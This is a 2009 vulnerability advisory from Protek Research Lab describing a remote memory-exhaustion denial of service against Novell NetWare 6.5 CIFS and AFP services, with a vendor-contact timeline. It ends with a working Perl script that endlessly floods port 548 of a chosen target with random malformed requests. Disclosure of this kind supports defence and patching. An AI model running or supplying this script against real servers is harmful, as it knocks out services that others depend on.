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Application:   Novell Netware CIFS And AFP Remote Memory Consumption DoS
           
Platforms:   Novell Netware 6.5 SP8

Crash:   YES
   
Exploitation:   Remote DoS

Date:   2009-12-21

Author:   Francis Provencher (Protek Research Lab's)
             
Blog:   http://protekresearch.blogspot.com/

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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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===============
1) Introduction

Novell,Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in
enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems
management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse.

Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology
contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and
changed computing worldwide. Today, a primary focus of the company is on developing open source software for
enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Report Timeline

2009-12-21 Vendor Contact
2009-12-22 Vendor Recontact
2009-12-29 Vendor Recontact
2010-01-05 Disclosure of this advisory

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============================
3) Technical details

CIFS.nlm Semantic Agent (Build 163 MP)
Version 3.27 November 13, 2008

AFPTCP.nlm Build 163 SP
Version 3.27 November 13, 2008

The CIFS and AFP protocols have a memory consumption problem when their received lot's of malformed arbitrary
requests on their respective
services. Sending arbitrary crafted requests to these services will
consumme all the memory available, create multiples abends and finally crash the whole server… It could take
couple of minutes to hours (Depend of the memory available on the server ).

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===========
4) The Code

#!/usr/bin/perl
#       Found by Francis Provencher for Protek Research Lab's
#       {PRL} Novell Netware CIFS.nlm Remote Memory Consumption Denial of Service
#       Here is a modified version from the script written by the researcher Jeremy Brown
#       http://jbrownsec.blogspot.com/2009/12/writing-code-that-breaks-code.html
#

use IO::Socket;
use String::Random;

$target   = $ARGV[0];
$port     = 548;
$protocol = tcp;
$maxsize  =
666;
$random   =
0;

if((!defined($target) || !defined($port) || !defined($protocol) || !defined($maxsize)))
{

print "usage: $0 <target> \n";
     exit;

}

while(1)
{

$sock = IO::Socket::INET->new(Proto=>$protocol, PeerHost=>$target, PeerPort=>$port)
        or logit();

$rand   = new String::Random;
$random = $rand->randpattern("." x rand($maxsize)) . "\r\n\r\n";

$sock->send($random);
     close($sock);

}

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(PRL-2009-27)

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